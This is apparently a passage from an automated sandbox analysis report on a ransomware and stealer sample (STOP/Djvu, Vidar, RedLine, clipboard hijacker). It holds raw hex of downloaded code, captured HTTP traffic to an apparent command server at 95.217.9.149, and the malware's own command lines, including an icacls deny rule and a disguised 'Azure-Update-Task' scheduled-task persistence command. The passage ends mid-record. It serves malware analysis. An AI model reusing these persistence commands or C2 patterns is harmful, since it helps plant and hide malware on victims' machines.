2024-04-24 16:52:17 UTC	16384	IN	Data Raw: ff ff 0f b7 86 90 00 00 00 8b de 8b 54 24 10 8b 4c 24 24 8b 6c 24 20 89 47 10 8b 86 98 00 00 00 c1 e8 06 83 e0 01 89 54 24 10 89 47 14 80 bb 97 00 00 00 02 89 4c 24 14 0f 85 c8 fe ff ff b8 01 00 00 00 89 4c 24 14 89 54 24 10 e9 b8 fe ff ff 5f 5e 5d b8 07 00 00 00 5b 83 c4 18 c3 5f 5e 5d 33 c0 5b 83 c4 18 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: T$L$$l$ GT$GL$L$T$_^][_^]3[
2024-04-24 16:52:17 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 7c 24 14 8b 46 10 8b 56 0c 8d 0c 80 8b 42 68 ff 74 88 fc ff 77 04 ff 37 e8 ac f3 11 00 83 c4 0c 85 c0 74 0b ff 37 56 e8 d3 67 fe ff 83 c4 08 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 2c 67 21 10 ff 74 24 14 e8 bc d7 0d 00 83 c4 14 c3 cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 Data Ascii: Vt$W\|$FVBhtw7t7Vg_^jjjh,g!t$jjjh
2024-04-24 16:52:17 UTC	16384	IN	Data Raw: 71 14 8b 41 08 f7 76 34 8b 46 38 8d 14 90 8b 02 3b c1 74 0d 0f 1f 40 00 8d 50 10 8b 02 3b c1 75 f7 8b 40 10 89 02 ff 4e 30 66 83 79 0c 00 8b 71 14 74 10 8b 46 3c 89 41 10 8b 46 04 89 4e 3c 5e ff 08 c3 ff 31 e8 6e 5a 0a 00 8b 46 04 83 c4 04 ff 08 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 4c 24 04 8b 54 24 10 56 57 8b 71 0c 85 f6 74 3c 8b 06 83 f8 01 74 1f 83 f8 02 74 1a 83 f8 05 74 15 33 ff 83 f8 03 75 26 bf 01 00 00 00 85 d7 74 1d 5f 33 c0 5e c3 83 7c 24 10 01 75 f4 83 7c 24 14 01 75 ed 5f b8 05 00 00 00 5e c3 33 ff 8b 41 04 52 ff 74 24 18 8b 08 ff 74 24 18 50 8b 41 38 ff d0 83 c4 10 85 ff 74 1c 85 c0 75 18 8b 4c 24 14 ba 01 00 00 00 d3 e2 8b 4c 24 10 4a d3 e2 09 96 c4 00 00 00 5f Data Ascii: qAv4F8;t@P;u@N0fyqtF<AFN<^1nZF^L$T$VWqt<ttt3u&t_3^\|$u\|$u_^3ARt$t$PA8tuL$L$J_
2024-04-24 16:52:17 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 6a 00 6a 00 68 50 45 24 10 68 e8 40 22 10 56 e8 25 83 14 00 83 c4 14 80 7e 57 00 75 04 33 ff eb 0d 6a 00 56 e8 d0 b5 01 00 83 c4 08 8b f8 8b 46 0c 85 c0 74 0a 50 ff 15 70 20 24 10 83 c4 04 8b c7 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 56 57 8b 7c 24 10 ff b7 dc 00 00 00 e8 6d f6 fd ff 83 c4 04 8d 77 3c bb 28 00 00 00 0f 1f 00 ff 36 e8 58 f6 fd ff 83 c4 04 8d 76 04 83 eb 01 75 ee 8b b7 f8 00 00 00 85 f6 74 54 39 1d 18 20 24 10 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 56 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 56 ff 15 3c 20 24 10 a1 38 82 24 10 83 Data Ascii: Vt$WFtPh $jjhPE$h@"V%~Wu3jVFtPp $_^SVW\|$mw<(6XvutT9 $tB8$tPh $VD $)$$V< $8$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49751	95.217.9.149	443	7664	C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 16:52:20 UTC	262	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECBGCGCGIEGCBFHIIEBF User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Content-Length: 4677 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 16:52:20 UTC	4677	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 37 39 39 34 63 37 35 61 62 64 37 33 30 63 64 64 30 37 65 36 35 32 65 33 30 31 34 65 38 36 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 37 30 36 64 63 36 63 39 32 30 32 34 33 30 62 63 36 66 62 32 65 37 34 38 39 36 64 38 33 31 31 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 46 0d 0a 43 6f 6e 74 Data Ascii: ------ECBGCGCGIEGCBFHIIEBFContent-Disposition: form-data; name="token"087994c75abd730cdd07e652e3014e86------ECBGCGCGIEGCBFHIIEBFContent-Disposition: form-data; name="build_id"1706dc6c9202430bc6fb2e74896d8311------ECBGCGCGIEGCBFHIIEBFCont
2024-04-24 16:52:21 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 16:52:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-24 16:52:21 UTC	15	IN	Data Raw: 35 0d 0a 62 6c 6f 63 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 5block0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49753	172.67.139.220	443	7432	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 16:52:35 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-04-24 16:52:35 UTC	914	IN	HTTP/1.1 429 Too Many Requests Date: Wed, 24 Apr 2024 16:52:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BuguvWzViILsSr%2B55PDnEPx78XlE1pXgx3e12OieVnChKRnc4%2BCj0UiSWphfOnyjt6lUnD4uRmnntm7SF4W3F70fiwuQ%2Fm7BAvJM25FIY3ien6a2VpvzRXsH4eMf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87979ac9ad1a69c2-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 16:52:35 UTC	455	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 38 38 65 30 65 64 65 34 66 38 63 38 62 61 65 31 66 38 61 36 65 35 65 64 62 37 66 62 66 64 65 61 65 32 65 64 65 62 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#88e0ede4f8c8bae1f8a6e5edb7fbfdeae2edeb
2024-04-24 16:52:35 UTC	475	IN	Data Raw: ba 20 d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 62 38 64 30 64 64 64 34 63 38 66 38 38 61 64 31 63 38 39 36 63 64 64 39 38 37 63 62 63 64 64 61 64 32 64 64 64 62 63 63 38 35 38 61 64 31 63 38 39 36 63 64 64 39 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#b8d0ddd4c8f88ad1c896cdd987cbcddad2dddbcc858ad1c896cdd9
2024-04-24 16:52:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	18:51:49
Start date:	24/04/2024
Path:	C:\Users\user\Desktop\lzShU2RYJa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\lzShU2RYJa.exe"
Imagebase:	0x400000
File size:	781'312 bytes
MD5 hash:	106C2CFB1162FC8FE3CEF0958474F1C3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.1643666413.00000000044E0000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	18:51:50
Start date:	24/04/2024
Path:	C:\Users\user\Desktop\lzShU2RYJa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\lzShU2RYJa.exe"
Imagebase:	0x400000
File size:	781'312 bytes
MD5 hash:	106C2CFB1162FC8FE3CEF0958474F1C3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	18:51:52
Start date:	24/04/2024
Path:	C:\Windows\SysWOW64\icacls.exe
Wow64 process (32bit):	true
Commandline:	icacls "C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Imagebase:	0x470000
File size:	29'696 bytes
MD5 hash:	2E49585E4E08565F52090B144062F97E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	18:51:52
Start date:	24/04/2024
Path:	C:\Users\user\Desktop\lzShU2RYJa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\lzShU2RYJa.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	781'312 bytes
MD5 hash:	106C2CFB1162FC8FE3CEF0958474F1C3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000003.00000002.1672801974.0000000005E00000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000003.00000002.1672801974.0000000005E00000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000003.00000002.1672708440.00000000043EE000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	18:51:52
Start date:	24/04/2024
Path:	C:\Users\user\Desktop\lzShU2RYJa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\lzShU2RYJa.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	781'312 bytes
MD5 hash:	106C2CFB1162FC8FE3CEF0958474F1C3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	18:51:52
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe --Task
Imagebase:	0x400000
File size:	781'312 bytes
MD5 hash:	106C2CFB1162FC8FE3CEF0958474F1C3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000005.00000002.1678165141.0000000005F20000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000005.00000002.1678165141.0000000005F20000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000005.00000002.1677904681.00000000041D2000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	18:51:53
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe --Task
Imagebase:	0x400000
File size:	781'312 bytes
MD5 hash:	106C2CFB1162FC8FE3CEF0958474F1C3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000006.00000002.4097772693.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000006.00000002.4097772693.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000006.00000002.4097772693.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	18:52:00
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe"
Imagebase:	0x400000
File size:	296'448 bytes
MD5 hash:	A04031208441077A014F42095FF86107
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000007.00000002.1750385027.0000000001AA0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000007.00000002.1751059167.0000000001B1E000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	18:52:01
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe"
Imagebase:	0x400000
File size:	296'448 bytes
MD5 hash:	A04031208441077A014F42095FF86107
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000008.00000002.1936229908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	18:52:05
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe" --AutoStart
Imagebase:	0x400000
File size:	781'312 bytes
MD5 hash:	106C2CFB1162FC8FE3CEF0958474F1C3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000A.00000002.1811694800.0000000004498000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000A.00000002.1811861387.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000A.00000002.1811861387.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	18:52:06
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe" --AutoStart
Imagebase:	0x400000
File size:	781'312 bytes
MD5 hash:	106C2CFB1162FC8FE3CEF0958474F1C3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000B.00000002.1824658419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000B.00000002.1824658419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000000B.00000002.1824658419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	18:52:08
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build3.exe"
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 0000000D.00000002.1907561192.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000000D.00000002.1907561192.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000000D.00000002.1907561192.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000D.00000002.1907718184.000000000091D000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	18:52:16
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build3.exe"
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 00000010.00000002.1908589988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000010.00000002.1908589988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000010.00000002.1908589988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	18:52:17
Start date:	24/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"
Imagebase:	0x980000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	18:52:17
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	18:52:18
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 00000013.00000002.2007782778.0000000000920000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000013.00000002.2007782778.0000000000920000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000013.00000002.2007782778.0000000000920000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000013.00000002.2008242016.0000000000B8C000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 87%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	18:52:26
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 00000014.00000002.4097695967.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000014.00000002.4097695967.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000014.00000002.4097695967.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	18:52:27
Start date:	24/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"
Imagebase:	0x980000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	18:52:27
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	18:52:32
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
Wow64 process (32bit):	true
